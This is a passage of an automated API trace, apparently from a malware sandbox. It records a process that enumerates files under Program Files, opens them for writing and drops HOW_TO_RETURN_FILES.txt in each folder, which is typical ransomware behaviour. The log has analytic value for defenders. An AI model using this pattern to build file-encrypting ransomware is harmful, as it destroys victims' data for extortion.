lpMultiByteStr="NavigationLeft_ButtonGraphic.pngRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 32 [0126.034] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.034] AreFileApisANSI () returned 1 [0126.034] GetACP () returned 0x4e4 [0126.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png5TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 38 [0126.034] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.034] AreFileApisANSI () returned 1 [0126.034] GetACP () returned 0x4e4 [0126.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0126.034] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.034] AreFileApisANSI () returned 1 [0126.035] GetACP () returned 0x4e4 [0126.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.pngTNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 39 [0126.035] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.035] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.035] AreFileApisANSI () returned 1 [0126.035] GetACP () returned 0x4e4 [0126.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0126.035] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.035] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.035] AreFileApisANSI () returned 1 [0126.035] GetACP () returned 0x4e4 [0126.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0126.035] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.035] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.035] AreFileApisANSI () returned 1 [0126.035] GetACP () returned 0x4e4 [0126.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="softedges.pngSelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 13 [0126.035] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.036] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.036] AreFileApisANSI () returned 1 [0126.036] GetACP () returned 0x4e4 [0126.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vignettemask25.png", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="vignettemask25.pngtionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 18 [0126.036] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.036] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.036] AreFileApisANSI () returned 1 [0126.036] GetACP () returned 0x4e4 [0126.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="whiteband.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="whiteband.png5.png", lpUsedDefaultChar=0x37dec0) returned 13 [0126.036] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.036] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0126.036] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0126.037] AreFileApisANSI () returned 1 [0126.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0126.038] GetFileType (hFile=0x130) returned 0x1 [0126.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.039] AreFileApisANSI () returned 1 [0126.039] GetACP () returned 0x4e4 [0126.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WhiteDot.png", cchWideChar=12, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WhiteDot.pngion", lpUsedDefaultChar=0x37df4c) returned 12 [0126.039] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0126.039] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0126.039] AreFileApisANSI () returned 1 [0126.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9898, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0126.039] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0126.039] GetFileType (hFile=0x12c) returned 0x1 [0126.040] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.040] AreFileApisANSI () returned 1 [0126.040] GetACP () returned 0x4e4 [0126.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Filters.xml", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Filters.xmlse.png", lpUsedDefaultChar=0x37dfd8) returned 11 [0126.040] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.040] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.040] AreFileApisANSI () returned 1 [0126.041] GetACP () returned 0x4e4 [0126.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Parity.fx", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Parity.fxml", lpUsedDefaultChar=0x37dfd8) returned 9 [0126.041] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.041] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0126.041] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0126.041] AreFileApisANSI () returned 1 [0126.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a41e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0126.041] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0126.041] GetFileType (hFile=0x128) returned 0x1 [0126.042] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.042] AreFileApisANSI () returned 1 [0126.042] GetACP () returned 0x4e4 [0126.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="soniccolorconverter.ax", cchWideChar=22, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="soniccolorconverter.ax", lpUsedDefaultChar=0x37e064) returned 22 [0126.042] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.042] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.042] AreFileApisANSI () returned 1 [0126.042] GetACP () returned 0x4e4 [0126.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sonicsptransform.ax", cchWideChar=19, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="sonicsptransform.ax.ax", lpUsedDefaultChar=0x37e064) returned 19 [0126.042] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.043] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.043] AreFileApisANSI () returned 1 [0126.043] GetACP () returned 0x4e4 [0126.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WMM2CLIP.dll", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="WMM2CLIP.dllform.ax", lpUsedDefaultChar=0x37e064) returned 12 [0126.043] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 0 [0126.043] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0126.043] AreFileApisANSI () returned 1 [0126.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69d210, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0126.043] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0126.043] GetFileType (hFile=0x124) returned 0x1 [0126.044] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0126.044] AreFileApisANSI () returned 1 [0126.044] GetACP () returned 0x4e4 [0126.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Internet Explorer", cchWideChar=17, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="Internet Explorerf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 17 [0126.044] AreFileApisANSI () returned 1 [0126.044] GetACP () returned 0x4e4 [0126.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=35, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Internet Explorer\\7") returned 35 [0126.046] AreFileApisANSI () returned 1 [0126.046] GetACP () returned 0x4e4 [0126.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0126.046] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.046] AreFileApisANSI () returned 1 [0126.046] GetACP () returned 0x4e4 [0126.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0126.046] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.046] AreFileApisANSI () returned 1 [0126.046] GetACP () returned 0x4e4 [0126.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="en-US+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 5 [0126.046] AreFileApisANSI () returned 1 [0126.046] GetACP () returned 0x4e4 [0126.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=41, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\j") returned 41 [0126.047] AreFileApisANSI () returned 1 [0126.047] GetACP () returned 0x4e4 [0126.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 1 [0126.047] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.047] AreFileApisANSI () returned 1 [0126.048] GetACP () returned 0x4e4 [0126.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 2 [0126.048] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.048] AreFileApisANSI () returned 1 [0126.048] GetACP () returned 0x4e4 [0126.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hmmapi.dll.mui", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="hmmapi.dll.muiVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 14 [0126.048] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.048] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.048] AreFileApisANSI () returned 1 [0126.048] GetACP () returned 0x4e4 [0126.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="iedvtool.dll.muiff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 16 [0126.048] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.049] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.049] AreFileApisANSI () returned 1 [0126.049] GetACP () returned 0x4e4 [0126.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ieinstal.exe.mui", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ieinstal.exe.mui", lpUsedDefaultChar=0x37dfd8) returned 16 [0126.049] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.049] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.049] AreFileApisANSI () returned 1 [0126.049] GetACP () returned 0x4e4 [0126.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ielowutil.exe.mui", cchWideChar=17, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ielowutil.exe.muif47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 17 [0126.049] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.049] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.049] AreFileApisANSI () returned 1 [0126.049] GetACP () returned 0x4e4 [0126.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="iexplore.exe.mui", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="iexplore.exe.muii", lpUsedDefaultChar=0x37dfd8) returned 16 [0126.049] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.050] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.050] AreFileApisANSI () returned 1 [0126.050] GetACP () returned 0x4e4 [0126.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="jsdbgui.dll.muii", lpUsedDefaultChar=0x37dfd8) returned 15 [0126.050] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 